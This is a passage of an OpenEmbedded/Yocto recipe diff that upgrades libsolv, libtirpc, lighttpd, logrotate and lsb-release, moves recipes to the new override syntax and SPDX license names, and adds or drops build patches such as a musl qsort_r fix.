is a C library for setting up and running pipelines of proce without needing to involve shell command-line parsing which is often \ error-prone and insecure." HOMEPAGE = "http://libpipeline.nongnu.org/" -LICENSE = "GPLv3" -LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504" +LICENSE = "GPL-3.0-only" +LIC_FILES_CHKSUM = "file://COPYING;md5=1ebbd3e34237af26da5dc08a4e440464" SRC_URI = "${SAVANNAH_GNU_MIRROR}/libpipeline/libpipeline-${PV}.tar.gz" -SRC_URI[md5sum] = "169de4cc1f6f7f7d430a5bed858b2fd3" -SRC_URI[sha256sum] = "fd59c649c1ae9d67604d1644f116ad4d297eaa66f838e3dfab96b41e85b059fb" +SRC_URI[sha256sum] = "0c8367f8b82bb721b50647a647115b6e62a37e3b2e954a9685e4d933f30c00cc" inherit pkgconfig autotools diff --git a/meta/recipes-extended/libsolv/libsolv/0001-utils-Conside-musl-when-wrapping-qsort_r.patch b/meta/recipes-extended/libsolv/libsolv/0001-utils-Conside-musl-when-wrapping-qsort_r.patch new file mode 100644 index 0000000000..6f0dea2e9c --- /dev/null +++ b/meta/recipes-extended/libsolv/libsolv/0001-utils-Conside-musl-when-wrapping-qsort_r.patch @@ -0,0 +1,34 @@ +From 06321f1a2aa89b8e028946e793344657eaad0165 Mon Sep 17 00:00:00 2001 +From: Khem Raj <raj.khem@gmail.com> +Date: Thu, 28 Oct 2021 22:28:45 -0700 +Subject: [PATCH] utils: Conside musl when wrapping qsort_r + +musl now has implemented qsort_r, the signature however matches glibc +and not BSD, current check makes it such that it falls into BSD case +when building for musl, which clearly is wrong, therefore instead of +just checking for glibc check for linux to decide which qsort_r +signature to use. This covers both glibc and musl + +Upstream-Status: Pending + +Signed-off-by: Khem Raj <raj.khem@gmail.com> +--- + src/util.c | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +diff --git a/src/util.c b/src/util.c +index 72426e09..8f29bc5a 100644 +--- a/src/util.c ++++ b/src/util.c +@@ -159,7 +159,7 @@ solv_setcloexec(int fd, int state) + + see also: http://sources.redhat.com/ml/libc-alpha/2008-12/msg00003.html + */ +-#if (defined(__GLIBC__) || defined(__NEWLIB__)) && (defined(HAVE_QSORT_R) || defined(HAVE___QSORT_R)) ++#if (defined(__linux__) || defined(__NEWLIB__)) && (defined(HAVE_QSORT_R) || defined(HAVE___QSORT_R)) + + void + solv_sort(void *base, size_t nmemb, size_t size, int (*compar)(const void *, const void *, void *), void *compard) +-- +2.33.1 + diff --git a/meta/recipes-extended/libsolv/libsolv_0.7.14.bb b/meta/recipes-extended/libsolv/libsolv_0.7.21.bb index 5179d4565a..acf61e3adc 100644 --- a/meta/recipes-extended/libsolv/libsolv_0.7.14.bb +++ b/meta/recipes-extended/libsolv/libsolv_0.7.21.bb @@ -1,4 +1,5 @@ SUMMARY = "Library for solving packages and reading repositories" +DESCRIPTION = "This is libsolv, a free package dependency solver using a satisfiability algorithm for solving packages and reading repositories" HOMEPAGE = "https://github.com/openSUSE/libsolv" BUGTRACKER = "https://github.com/openSUSE/libsolv/issues" SECTION = "devel" @@ -7,10 +8,11 @@ LIC_FILES_CHKSUM = "file://LICENSE.BSD;md5=62272bd11c97396d4aaf1c41bc11f7d8" DEPENDS = "expat zlib" -SRC_URI = "git://github.com/openSUSE/libsolv.git \ +SRC_URI = "git://github.com/openSUSE/libsolv.git;branch=master;protocol=https \ + file://0001-utils-Conside-musl-when-wrapping-qsort_r.patch \ " -SRCREV = "b264537ea43ce39d93d8d97fcca16e97825beaa0" +SRCREV = "6f8bae1fea9c923bddf01c27115123010d191b07" UPSTREAM_CHECK_GITTAGREGEX = "(?P<pver>\d+(\.\d+)+)" @@ -19,13 +21,13 @@ S = "${WORKDIR}/git" inherit cmake PACKAGECONFIG ??= "${@bb.utils.contains('PACKAGE_CLASSES','package_rpm','rpm','',d)}" -PACKAGECONFIG[rpm] = "-DENABLE_RPMMD=ON -DENABLE_RPMDB=ON -DENABLE_RPMDB_BDB=ON,,rpm" +PACKAGECONFIG[rpm] = "-DENABLE_RPMMD=ON -DENABLE_RPMDB=ON,,rpm" EXTRA_OECMAKE = "-DMULTI_SEMANTICS=ON -DENABLE_COMPLEX_DEPS=ON" PACKAGES =+ "${PN}-tools ${PN}ext" -FILES_${PN}-tools = "${bindir}/*" -FILES_${PN}ext = "${libdir}/${PN}ext.so.*" +FILES:${PN}-tools = "${bindir}/*" +FILES:${PN}ext = "${libdir}/${PN}ext.so.*" BBCLASSEXTEND = "native nativesdk" diff --git a/meta/recipes-extended/libtirpc/libtirpc_1.2.6.bb b/meta/recipes-extended/libtirpc/libtirpc_1.3.2.bb index 10a324c3b6..45b3d2befc 100644 --- a/meta/recipes-extended/libtirpc/libtirpc_1.2.6.bb +++ b/meta/recipes-extended/libtirpc/libtirpc_1.3.2.bb @@ -12,14 +12,13 @@ PROVIDES = "virtual/librpc" SRC_URI = "${SOURCEFORGE_MIRROR}/${BPN}/${BP}.tar.bz2" UPSTREAM_CHECK_URI = "https://sourceforge.net/projects/libtirpc/files/libtirpc/" UPSTREAM_CHECK_REGEX = "(?P<pver>\d+(\.\d+)+)/" -SRC_URI[md5sum] = "b25f9cc18bfad50f7c446c77f4ae00bb" -SRC_URI[sha256sum] = "4278e9a5181d5af9cd7885322fdecebc444f9a3da87c526e7d47f7a12a37d1cc" +SRC_URI[sha256sum] = "e24eb88b8ce7db3b7ca6eb80115dd1284abc5ec32a8deccfed2224fc2532b9fd" inherit autotools pkgconfig EXTRA_OECONF = "--disable-gssapi" -do_install_append() { +do_install:append() { chown root:root ${D}${sysconfdir}/netconfig } diff --git a/meta/recipes-extended/lighttpd/lighttpd/0001-Use-pkg-config-for-pcre-dependency-instead-of-config.patch b/meta/recipes-extended/lighttpd/lighttpd/0001-Use-pkg-config-for-pcre-dependency-instead-of-config.patch deleted file mode 100644 index f17bdce2c0..0000000000 --- a/meta/recipes-extended/lighttpd/lighttpd/0001-Use-pkg-config-for-pcre-dependency-instead-of-config.patch +++ /dev/null @@ -1,42 +0,0 @@ -From 22afc5d9aaa215c3c87ba21c77d47da44ab3b113 Mon Sep 17 00:00:00 2001 -From: Alexander Kanavin <alex.kanavin@gmail.com> -Date: Fri, 26 Aug 2016 18:20:32 +0300 -Subject: [PATCH] Use pkg-config for pcre dependency instead of -config script. - -RP 2014/5/22 -Upstream-Status: Pending -Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com> ---- - configure.ac | 16 ++++++++++++---- - 1 file changed, 12 insertions(+), 4 deletions(-) - -diff --git a/configure.ac b/configure.ac -index 5383cec..c29a902 100644 ---- a/configure.ac -+++ b/configure.ac -@@ -651,10 +651,18 @@ AC_ARG_WITH([pcre], - ) - AC_MSG_RESULT([$WITH_PCRE]) - --if test "$WITH_PCRE" != no; then -- if test "$WITH_PCRE" != yes; then -- PCRE_LIB="-L$WITH_PCRE/lib -lpcre" -- CPPFLAGS="$CPPFLAGS -I$WITH_PCRE/include" -+if test "$WITH_PCRE" != "no"; then -+ PKG_CHECK_MODULES(PCREPKG, [libpcre], [ -+ PCRE_LIB=${PCREPKG_LIBS} -+ CPPFLAGS="$CPPFLAGS ${PCREPKG_CFLAGS}" -+ ], [ -+ AC_MSG_ERROR([pcre pkgconfig not found, install the pcre-devel package or build with --without-pcre]) -+ ]) -+ -+ if test x"$PCRE_LIB" != x; then -+ AC_DEFINE([HAVE_LIBPCRE], [1], [libpcre]) -+ AC_DEFINE([HAVE_PCRE_H], [1], [pcre.h]) -+ AC_SUBST(PCRE_LIB) - else - AC_PATH_PROG([PCRECONFIG], [pcre-config]) - if test -n "$PCRECONFIG"; then --- -2.15.0 - diff --git a/meta/recipes-extended/lighttpd/lighttpd_1.4.55.bb b/meta/recipes-extended/lighttpd/lighttpd_1.4.55.bb deleted file mode 100644 index 7a255ce2f2..0000000000 --- a/meta/recipes-extended/lighttpd/lighttpd_1.4.55.bb +++ /dev/null @@ -1,83 +0,0 @@ -SUMMARY = "Lightweight high-performance web server" -HOMEPAGE = "http://www.lighttpd.net/" -BUGTRACKER = "http://redmine.lighttpd.net/projects/lighttpd/issues" - -LICENSE = "BSD-3-Clause" -LIC_FILES_CHKSUM = "file://COPYING;md5=e4dac5c6ab169aa212feb5028853a579" - -SECTION = "net" -RDEPENDS_${PN} = "lighttpd-module-dirlisting \ - lighttpd-module-indexfile \ - lighttpd-module-staticfile" -RRECOMMENDS_${PN} = "lighttpd-module-access \ - lighttpd-module-accesslog" - -SRC_URI = "http://download.lighttpd.net/lighttpd/releases-1.4.x/lighttpd-${PV}.tar.xz \ - file://index.html.lighttpd \ - file://lighttpd.conf \ - file://lighttpd \ - file://0001-Use-pkg-config-for-pcre-dependency-instead-of-config.patch \ - " - -SRC_URI[md5sum] = "be4bda2c28bcbdac6eb941528f6edf03" -SRC_URI[sha256sum] = "6a0b50e9c9d5cc3d9e48592315c25a2d645858f863e1ccd120507a30ce21e927" - -PACKAGECONFIG ??= "openssl pcre zlib \ - ${@bb.utils.filter('DISTRO_FEATURES', 'ipv6', d)} \ - ${@bb.utils.contains('DISTRO_FEATURES', 'xattr', 'attr', '', d)} \ -" - -PACKAGECONFIG[ipv6] = "--enable-ipv6,--disable-ipv6" -PACKAGECONFIG[mmap] = "--enable-mmap,--disable-mmap" -PACKAGECONFIG[libev] = "--with-libev,--without-libev,libev" -PACKAGECONFIG[mysql] = "--with-mysql,--without-mysql,mariadb" -PACKAGECONFIG[ldap] = "--with-ldap,--without-ldap,openldap" -PACKAGECONFIG[attr] = "--with-attr,--without-attr,attr" -PACKAGECONFIG[valgrind] = "--with-valgrind,--without-valgrind,valgrind" -PACKAGECONFIG[openssl] = "--with-openssl,--without-openssl,openssl" -PACKAGECONFIG[krb5] = "--with-krb5,--without-krb5,krb5" -PACKAGECONFIG[pcre] = "--with-pcre,--without-pcre,libpcre" -PACKAGECONFIG[zlib] = "--with-zlib,--without-zlib,zlib" -PACKAGECONFIG[bzip2] = "--with-bzip2,--without-bzip2,bzip2" -PACKAGECONFIG[webdav-props] = "--with-webdav-props,--without-webdav-props,libxml2 sqlite3" -PACKAGECONFIG[webdav-locks] = "--with-webdav-locks,--without-webdav-locks,util-linux" -PACKAGECONFIG[gdbm] = "--with-gdbm,--without-gdbm,gdbm" -PACKAGECONFIG[memcache] = "--with-memcached,--without-memcached,libmemcached" -PACKAGECONFIG[lua] = "--with-lua,--without-lua,lua" - -EXTRA_OECONF += "--enable-lfs --without-fam" - -inherit autotools pkgconfig update-rc.d gettext systemd - -INITSCRIPT_NAME = "lighttpd" -INITSCRIPT_PARAMS = "defaults 70" - -SYSTEMD_SERVICE_${PN} = "lighttpd.service" - -do_install_append() { - install -d ${D}${sysconfdir}/init.d ${D}${sysconfdir}/lighttpd ${D}${sysconfdir}/lighttpd.d ${D}/www/pages/dav - install -m 0755 ${WORKDIR}/lighttpd ${D}${sysconfdir}/init.d - install -m 0644 ${WORKDIR}/lighttpd.conf ${D}${sysconfdir}/lighttpd - install -m 0644 ${WORKDIR}/index.html.lighttpd ${D}/www/pages/index.html - - install -d ${D}${systemd_unitdir}/system - install -m 0644 ${S}/doc/systemd/lighttpd.service ${D}${systemd_unitdir}/system - sed -i -e 's,@SBINDIR@,${sbindir},g' \ - -e 's,@SYSCONFDIR@,${sysconfdir},g' \ - -e 's,@BASE_BINDIR@,${base_bindir},g' \ - ${D}${systemd_unitdir}/system/lighttpd.service - #For FHS compliance, create symbolic links to /var/log and /var/tmp for logs and temporary data - ln -sf ${localstatedir}/log ${D}/www/logs - ln -sf ${localstatedir}/tmp ${D}/www/var -} - -FILES_${PN} += "${sysconfdir} /www" - -CONFFILES_${PN} = "${sysconfdir}/lighttpd/lighttpd.conf" - -PACKAGES_DYNAMIC += "^lighttpd-module-.*" - -python populate_packages_prepend () { - lighttpd_libdir = d.expand('${libdir}') - do_split_packages(d, lighttpd_libdir, r'^mod_(.*)\.so$', 'lighttpd-module-%s', 'Lighttpd module for %s', extra_depends='') -} diff --git a/meta/recipes-extended/lighttpd/lighttpd_1.4.64.bb b/meta/recipes-extended/lighttpd/lighttpd_1.4.64.bb new file mode 100644 index 0000000000..8d2e77e011 --- /dev/null +++ b/meta/recipes-extended/lighttpd/lighttpd_1.4.64.bb @@ -0,0 +1,79 @@ +SUMMARY = "Lightweight high-performance web server" +HOMEPAGE = "http://www.lighttpd.net/" +DESCRIPTION = "Lightweight high-performance web server is designed and optimized for high performance environments. With a small memory footprint compared to other web-servers, effective management of the cpu-load, and advanced feature set (FastCGI, SCGI, Auth, Output-Compression, URL-Rewriting and many more)" +BUGTRACKER = "http://redmine.lighttpd.net/projects/lighttpd/issues" + +LICENSE = "BSD-3-Clause" +LIC_FILES_CHKSUM = "file://COPYING;md5=e4dac5c6ab169aa212feb5028853a579" + +SECTION = "net" +RDEPENDS:${PN} = "lighttpd-module-dirlisting \ + lighttpd-module-indexfile \ + lighttpd-module-staticfile" +RRECOMMENDS:${PN} = "lighttpd-module-access \ + lighttpd-module-accesslog" + +SRC_URI = "http://download.lighttpd.net/lighttpd/releases-1.4.x/lighttpd-${PV}.tar.xz \ + file://index.html.lighttpd \ + file://lighttpd.conf \ + file://lighttpd \ + " + +SRC_URI[sha256sum] = "e1489d9fa7496fbf2e071c338b593b2300d38c23f1e5967e52c9ef482e1b0e26" + +DEPENDS = "virtual/crypt" + +PACKAGECONFIG ??= "openssl pcre zlib \ + ${@bb.utils.contains('DISTRO_FEATURES', 'xattr', 'attr', '', d)} \ +" + +PACKAGECONFIG[libev] = "-Dwith_libev=true,-Dwith_libev=false,libev" +PACKAGECONFIG[mysql] = "-Dwith_mysql=true,-Dwith_mysql=false,mariadb" +PACKAGECONFIG[ldap] = "-Dwith_ldap=true,-Dwith_ldap=false,openldap" +PACKAGECONFIG[attr] = "-Dwith_xattr=true,-Dwith_xattr=false,attr" +PACKAGECONFIG[openssl] = "-Dwith_openssl=true,-Dwith_openssl=false,openssl" +PACKAGECONFIG[krb5] = "-Dwith_krb5=true,-Dwith_krb5=false,krb5" +PACKAGECONFIG[pcre] = "-Dwith_pcre=true,-Dwith_pcre=false,libpcre" +PACKAGECONFIG[zlib] = "-Dwith_zlib=true,-Dwith_zlib=false,zlib" +PACKAGECONFIG[bzip2] = "-Dwith_bzip=true,-Dwith_bzip=false,bzip2" +PACKAGECONFIG[webdav-props] = "-Dwith_webdav_props=true,-Dwith_webdav_props=false,libxml2 sqlite3" +PACKAGECONFIG[webdav-locks] = "-Dwith_webdav_locks=true,-Dwith_webdav_locks=false,util-linux" +PACKAGECONFIG[lua] = "-Dwith_lua=true,-Dwith_lua=false,lua" +PACKAGECONFIG[zstd] = "-Dwith_zstd=true,-Dwith_zstd=false,zstd" + +inherit meson pkgconfig update-rc.d gettext systemd + +INITSCRIPT_NAME = "lighttpd" +INITSCRIPT_PARAMS = "defaults 70" + +SYSTEMD_SERVICE:${PN} = "lighttpd.service" + +do_install:append() { + install -d ${D}${sysconfdir}/init.d ${D}${sysconfdir}/lighttpd ${D}${sysconfdir}/lighttpd.d ${D}/www/pages/dav + install -m 0755 ${WORKDIR}/lighttpd ${D}${sysconfdir}/init.d + install -m 0644 ${WORKDIR}/lighttpd.conf ${D}${sysconfdir}/lighttpd + install -m 0644 ${WORKDIR}/index.html.lighttpd ${D}/www/pages/index.html + + install -d ${D}${systemd_system_unitdir} + install -m 0644 ${S}/doc/systemd/lighttpd.service ${D}${systemd_system_unitdir} + sed -i -e 's,@SBINDIR@,${sbindir},g' \ + -e 's,@SYSCONFDIR@,${sysconfdir},g' \ + -e 's,@BASE_BINDIR@,${base_bindir},g' \ + ${D}${systemd_system_unitdir}/lighttpd.service + #For FHS compliance, create symbolic links to /var/log and /var/tmp for logs and temporary data + ln -sf ${localstatedir}/log ${D}/www/logs + ln -sf ${localstatedir}/tmp ${D}/www/var +} + +# bitbake.conf sets ${libdir}/${BPN}/* in FILES, which messes up the module split. +# So we re-do the variable. +FILES:${PN} = "${sysconfdir} /www ${sbindir}" + +CONFFILES:${PN} = "${sysconfdir}/lighttpd/lighttpd.conf" + +PACKAGES_DYNAMIC += "^lighttpd-module-.*" + +python populate_packages:prepend () { + lighttpd_libdir = d.expand('${prefix}/lib/lighttpd') + do_split_packages(d, lighttpd_libdir, r'^mod_(.*)\.so$', 'lighttpd-module-%s', 'Lighttpd module for %s', extra_depends='') +} diff --git a/meta/recipes-extended/logrotate/logrotate/0001-Update-the-manual.patch b/meta/recipes-extended/logrotate/logrotate/0001-Update-the-manual.patch deleted file mode 100644 index 50a3852078..0000000000 --- a/meta/recipes-extended/logrotate/logrotate/0001-Update-the-manual.patch +++ /dev/null @@ -1,39 +0,0 @@ -From 3e2cfa88b6538bb0fee3d9a6e99622055d05ac4a Mon Sep 17 00:00:00 2001 -From: Robert Yang <liezhi.yang@windriver.com> -Date: Tue, 17 Feb 2015 21:14:37 -0800 -Subject: [PATCH] Update the manual - -Update the manual for rotating on different filesystems. - -Upstream-Status: Pending - -Signed-off-by: Robert Yang <liezhi.yang@windriver.com> - ---- - logrotate.8.in | 10 ++++------ - 1 file changed, 4 insertions(+), 6 deletions(-) - -diff --git a/logrotate.8.in b/logrotate.8.in -index 98fea91..70b4c44 100644 ---- a/logrotate.8.in -+++ b/logrotate.8.in -@@ -202,12 +202,10 @@ at all (use with caution, may waste performance and disk space). Default is 0. - - .TP - \fBolddir \fIdirectory\fR --Logs are moved into \fIdirectory\fR for rotation. The \fIdirectory\fR must be --on the same physical device as the log file being rotated, unless \fBcopy\fR, --\fBcopytruncate\fR or \fBrenamecopy\fR option is used. The \fIdirectory\fR --is assumed to be relative to the directory holding the log file --unless an absolute path name is specified. When this option is used all --old versions of the log end up in \fIdirectory\fR. This option may be -+Logs are moved into \fIdirectory\fR for rotation. The \fIdirectory\fR -+is assumed to be relative to the directory holding the log file unless -+an absolute path name is specified. When this option is used all old -+versions of the log end up in \fIdirectory\fR. This option may be - overridden by the \fBnoolddir\fR option. - - .TP --- -2.24.0 - diff --git a/meta/recipes-extended/logrotate/logrotate/act-as-mv-when-rotate.patch b/meta/recipes-extended/logrotate/logrotate/act-as-mv-when-rotate.patch deleted file mode 100644 index acef5ccbe9..0000000000 --- a/meta/recipes-extended/logrotate/logrotate/act-as-mv-when-rotate.patch +++ /dev/null @@ -1,149 +0,0 @@ -From ef1ea905831c5bcd63e04149571c10d75ff8f028 Mon Sep 17 00:00:00 2001 -From: Robert Yang <liezhi.yang@windriver.com> -Date: Tue, 17 Feb 2015 21:08:07 -0800 -Subject: [PATCH] Act as the "mv" command when rotate log - -Act as the "mv" command when rotate log, first rename, if failed, then -read and write. - -Upstream-Status: Pending - -Signed-off-by: Robert Yang <liezhi.yang@windriver.com> - ---- - logrotate.c | 71 ++++++++++++++++++++++++++++++++++++++++++++--------- - 1 file changed, 59 insertions(+), 12 deletions(-) - -diff --git a/logrotate.c b/logrotate.c -index 25902bc..afa1a90 100644 ---- a/logrotate.c -+++ b/logrotate.c -@@ -1434,6 +1434,53 @@ static int findNeedRotating(struct logInfo *log, int logNum, int force) - return 0; - } - -+/* Act as the "mv" command, if rename failed, then read the old file and -+ * write to new file. The function which invokes the mvFile will use -+ * the strerror(errorno) to handle the error message, so we don't have -+ * to print the error message here */ -+ -+int mvFile (char *oldName, char *newName, struct logInfo *log, acl_type acl) -+{ -+ struct stat sbprev; -+ int fd_old, fd_new, n; -+ char buf[BUFSIZ]; -+ -+ /* Do the rename first */ -+ if (!rename(oldName, newName)) -+ return 0; -+ -+ /* If the errno is EXDEV, then read old file, write newfile and -+ * remove the oldfile */ -+ if (errno == EXDEV) { -+ /* Open the old file to read */ -+ if ((fd_old = open(oldName, O_RDONLY)) < 0) -+ return 1; -+ -+ /* Create the file to write, keep the same attribute as the old file */ -+ if (stat(oldName, &sbprev)) -+ return 1; -+ else { -+ if ((fd_new = createOutputFile(newName, -+ O_WRONLY | O_CREAT | O_TRUNC, &sbprev, acl, 0)) < 0 ) -+ return 1; -+ } -+ -+ /* Read and write */ -+ while ((n = read(fd_old, buf, BUFSIZ)) > 0) -+ if (write(fd_new, buf, n) != n) -+ return 1; -+ -+ if ((close(fd_old) < 0) || -+ removeLogFile(oldName, log) || -+ (close(fd_new) < 0)) -+ return 1; -+ -+ return 0; -+ } -+ -+ return 1; -+} -+ - /* find the rotated file with the highest index */ - static int findLastRotated(const struct logNames *rotNames, - const char *fileext, const char *compext) -@@ -1911,15 +1958,15 @@ static int prerotateSingleLog(struct logInfo *log, int logNum, - } - - message(MESS_DEBUG, -- "renaming %s to %s (rotatecount %d, logstart %d, i %d), \n", -+ "moving %s to %s (rotatecount %d, logstart %d, i %d), \n", - oldName, newName, rotateCount, logStart, i); - -- if (!debug && rename(oldName, newName)) { -+ if (!debug && mvFile(oldName, newName, log, prev_acl)) { - if (errno == ENOENT) { - message(MESS_DEBUG, "old log %s does not exist\n", - oldName); - } else { -- message(MESS_ERROR, "error renaming %s to %s: %s\n", -+ message(MESS_ERROR, "error moving %s to %s: %s\n", - oldName, newName, strerror(errno)); - hasErrors = 1; - } -@@ -2002,10 +2049,10 @@ static int rotateSingleLog(struct logInfo *log, int logNum, - return 1; - } - -- message(MESS_DEBUG, "renaming %s to %s\n", log->files[logNum], -+ message(MESS_DEBUG, "moving %s to %s\n", log->files[logNum], - tmpFilename); -- if (!debug && !hasErrors && rename(log->files[logNum], tmpFilename)) { -- message(MESS_ERROR, "failed to rename %s to %s: %s\n", -+ if (!debug && !hasErrors && mvFile(log->files[logNum], rotNames->finalName, log, prev_acl)) { -+ message(MESS_ERROR, "failed to move %s to %s: %s\n", - log->files[logNum], tmpFilename, - strerror(errno)); - hasErrors = 1; -@@ -2014,11 +2061,11 @@ static int rotateSingleLog(struct logInfo *log, int logNum, - free(tmpFilename); - } - else { -- message(MESS_DEBUG, "renaming %s to %s\n", log->files[logNum], -+ message(MESS_DEBUG, "moving %s to %s\n", log->files[logNum], - rotNames->finalName); - if (!debug && !hasErrors && -- rename(log->files[logNum], rotNames->finalName)) { -- message(MESS_ERROR, "failed to rename %s to %s: %s\n", -+ mvFile(log->files[logNum], rotNames->finalName, log, prev_acl)) { -+ message(MESS_ERROR, "failed to move %s to %s: %s\n", - log->files[logNum], rotNames->finalName, - strerror(errno)); - hasErrors = 1; -@@ -2424,7 +2471,7 @@ static int rotateLogSet(struct logInfo *log, int force) - return hasErrors; - } - --static int writeState(const char *stateFilename) -+static int writeState(struct logInfo *log, char *stateFilename) - { - struct logState *p; - FILE *f; -@@ -2629,7 +2676,7 @@ static int writeState(const char *stateFilename) - fclose(f); - - if (error == 0) { -- if (rename(tmpFilename, stateFilename)) { -+ if (mvFile(tmpFilename, stateFilename, log, prev_acl)) { - unlink(tmpFilename); - error = 1; - message(MESS_ERROR, "error renaming temp state file %s to %s\n", -@@ -2987,7 +3034,7 @@ int main(int argc, const char **argv) - rc |= rotateLogSet(log, force); - - if (!debug) -- rc |= writeState(stateFile); -+ rc |= writeState(log, stateFile); - - return (rc != 0); - } diff --git a/meta/recipes-extended/logrotate/logrotate/disable-check-different-filesystems.patch b/meta/recipes-extended/logrotate/logrotate/disable-check-different-filesystems.patch deleted file mode 100644 index 9ba531f815..0000000000 --- a/meta/recipes-extended/logrotate/logrotate/disable-check-different-filesystems.patch +++ /dev/null @@ -1,36 +0,0 @@ -From a3fdf3dbdd6ecc0f2550a765dcb9bb274bce8ea8 Mon Sep 17 00:00:00 2001 -From: Robert Yang <liezhi.yang@windriver.com> -Date: Tue, 8 Jan 2019 06:27:06 +0000 -Subject: [PATCH] Disable the check for different filesystems - -The logrotate supports rotate log across different filesystems now, so -disable the check for different filesystems. - -Upstream-Status: Pending - -Signed-off-by: Robert Yang <liezhi.yang@windriver.com> - ---- - config.c | 9 --------- - 1 file changed, 9 deletions(-) - -diff --git a/config.c b/config.c -index f027c7e..026136c 100644 ---- a/config.c -+++ b/config.c -@@ -1873,15 +1873,6 @@ duperror: - } - - free(ld); -- -- if (sb.st_dev != sb2.st_dev -- && !(newlog->flags & (LOG_FLAG_COPYTRUNCATE | LOG_FLAG_COPY | LOG_FLAG_TMPFILENAME))) { -- message(MESS_ERROR, -- "%s:%d olddir %s and log file %s " -- "are on different devices\n", configFile, -- lineNum, newlog->oldDir, newlog->files[i]); -- goto error; -- } - } - } - diff --git a/meta/recipes-extended/logrotate/logrotate_3.16.0.bb b/meta/recipes-extended/logrotate/logrotate_3.19.0.bb index 1c9df5a3ca..2a60d9b31f 100644 --- a/meta/recipes-extended/logrotate/logrotate_3.16.0.bb +++ b/meta/recipes-extended/logrotate/logrotate_3.19.0.bb @@ -1,7 +1,8 @@ SUMMARY = "Rotates, compresses, removes and mails system log files" SECTION = "console/utils" -HOMEPAGE = "https://github.com/logrotate/logrotate/issues" -LICENSE = "GPLv2" +HOMEPAGE = "https://github.com/logrotate/logrotate/" +DESCRIPTION = "The logrotate utility is designed to simplify the administration of log files on a system which generates a lot of log files." +LICENSE = "GPL-2.0-only" # TODO: Document coreutils dependency. Why not RDEPENDS? Why not busybox? @@ -12,21 +13,19 @@ LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263" UPSTREAM_CHECK_URI = "https://github.com/${BPN}/${BPN}/releases" UPSTREAM_CHECK_REGEX = "logrotate-(?P<pver>\d+(\.\d+)+).tar" -SRC_URI = "https://github.com/${BPN}/${BPN}/releases/download/${PV}/${BP}.tar.xz \ - file://act-as-mv-when-rotate.patch \ - file://0001-Update-the-manual.patch \ - file://disable-check-different-filesystems.patch \ - " +SRC_URI = "https://github.com/${BPN}/${BPN}/releases/download/${PV}/${BP}.tar.xz" -SRC_URI[md5sum] = "faf729e0e24bfaafaa677bc6deb46ed8" -SRC_URI[sha256sum] = "442f6fdf61c349eeae5f76799878b88fe45a11c8863a38b618bac6988f4a7ce5" +SRC_URI[sha256sum] = "ddd5274d684c5c99ca724e8069329f343ebe376e07493d537d9effdc501214ba" + +# These CVEs are debian, gentoo or SUSE specific on the way logrotate was installed/used +CVE_CHECK_IGNORE += "CVE-2011-1548 CVE-2011-1549 CVE-2011-1550" PACKAGECONFIG ?= "${@bb.utils.filter('DISTRO_FEATURES', 'acl selinux', d)}" PACKAGECONFIG[acl] = ",,acl" PACKAGECONFIG[selinux] = ",,libselinux" -CONFFILES_${PN} += "${localstatedir}/lib/logrotate.status \ +CONFFILES:${PN} += "${localstatedir}/lib/logrotate.status \ ${sysconfdir}/logrotate.conf \ ${sysconfdir}/logrotate.d/btmp \ ${sysconfdir}/logrotate.d/wtmp" @@ -50,7 +49,7 @@ OS_NAME = "Linux" inherit autotools systemd -SYSTEMD_SERVICE_${PN} = "\ +SYSTEMD_SERVICE:${PN} = "\ ${BPN}.service \ ${BPN}.timer \ " diff --git a/meta/recipes-extended/lsb/lsb-release/help2man-reproducibility.patch b/meta/recipes-extended/lsb/lsb-release/help2man-reproducibility.patch new file mode 100644 index 0000000000..f32cd18370 --- /dev/null +++ b/meta/recipes-extended/lsb/lsb-release/help2man-reproducibility.patch @@ -0,0 +1,27 @@ +lsb-release maintains it's own copy of help2man. Include the support +for specifying SOURCE_DATE_EPOCH from upstream. + +Upstream-Status: Pending + +Signed-off-by: Anuj Mittal <anuj.mittal@intel.com> + +diff --git a/help2man b/help2man +index 13015c2..63439db 100755 +--- a/help2man ++++ b/help2man +@@ -173,7 +173,14 @@ my ($help_text, $version_text) = map { + or die "$this_program: can't get `--$_' info from $ARGV[0]\n" + } qw(help), $opt_version_key; + +-my $date = strftime "%B %Y", localtime; ++my $epoch_secs = time; ++if (exists $ENV{SOURCE_DATE_EPOCH} and $ENV{SOURCE_DATE_EPOCH} =~ /^(\d+)$/) ++{ ++ $epoch_secs = $1; ++ $ENV{TZ} = 'UTC0'; ++} ++ ++my $date = strftime "%B %Y", localtime $epoch_secs; + (my $program = $ARGV[0]) =~ s!.*/!!; + my $package = $program; + my $version; diff --git a/meta/recipes-extended/lsb/lsb-release_1.4.bb b/meta/recipes-extended/lsb/lsb-release_1.4.bb index a06cbcf845..ad16554e98 100644 --- a/meta/recipes-extended/lsb/lsb-release_1.4.bb +++ b/meta/recipes-extended/lsb/lsb-release_1.4.bb @@ -1,16 +1,17 @@ SUMMARY = "lsb_release support for OpenEmbedded" SECTION = "console/utils" -HOMEPAGE = "http://prdownloads.sourceforge.net/lsb" -LICENSE = "GPLv2+" +HOMEPAGE = "https://sourceforge.net/projects/lsb/files" +LICENSE = "GPL-2.0-or-later" # lsb_release needs getopt -RDEPENDS_${PN} += "${VIRTUAL-RUNTIME_getopt}" +RDEPENDS:${PN} += "${VIRTUAL-RUNTIME_getopt}" LIC_FILES_CHKSUM = "file://README;md5=12da544b1a3a5a1795a21160b49471cf" SRC_URI = "${SOURCEFORGE_MIRROR}/project/lsb/lsb_release/1.4/lsb-release-1.4.tar.gz \ file://0001-fix-lsb_release-to-work-with-busybox-head-and-find.patch \ file://0001-Remove-timestamp-from-manpage.patch \ + file://help2man-reproducibility.patch \ " SRC_URI[md5sum] = "30537ef5a01e0ca94b7b8eb6a36bb1e4" @@ -34,4 +35,4 @@ do_install() { echo "DISTRIB_DESCRIPTION=\"${DISTRO_NAME} ${DISTRO_VERSION}\"" >> ${D}${sysconfdir}/lsb-release } -FILES_${PN} += "${base_libdir}" +FILES:${PN} += "${base_libdir}" diff --git a/meta/recipes-extended/lsof/files/lsof-remove-host-information.patch b/meta/recipes-extended/lsof/files/lsof-remove-host-information.patch index b7d2323dc9..70155f9a1d 100644 --- a/meta/recipes-extended/lsof/files/lsof-remove-host-information.patch +++ b/meta/recipes-extended/lsof/files/lsof-remove-host-information.patch @@ -1,25 +1,29 @@ -Remove host information from version.h +From 